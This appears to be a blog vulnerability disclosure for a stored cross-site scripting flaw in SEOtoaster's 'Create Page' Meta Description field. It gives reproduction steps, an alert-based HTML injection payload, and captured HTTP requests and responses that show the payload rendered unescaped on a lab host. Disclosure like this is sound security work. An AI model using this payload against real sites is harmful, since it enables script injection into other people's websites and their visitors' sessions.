Description
- It was noted that the application was vulnerable to Cross-Site Scripting (XSS) in the "Create Page".
Stored XSS "Create Page" #1
Steps to Reproduce:
- Login with admin and visit "Pages" > "Create a Page"
- In the "Meta Description" add the following payload "><img src=x onerror=alert(1)>
// HTTP POST Request
POST /seotoaster/backend/backend_page/page HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]
h1=test3&headerTitle=test3&url=test3&navName=test3&metaKeywords=test3&metaDescription="><img src=x onerror=alert(1)>[...]
// HTTP Response
HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:42 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]
{"error":0,"responseText":{"redirectTo":"test3.html"},"httpCode":200}
// HTTP GET Request
GET /seotoaster/test3.html HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]
// HTTP Response
HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:44 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]
[...]
<p class="news-description grid_10 omega">"><img src=x onerror=alert(1)></p>
</div>
[...]
No comments:
Post a Comment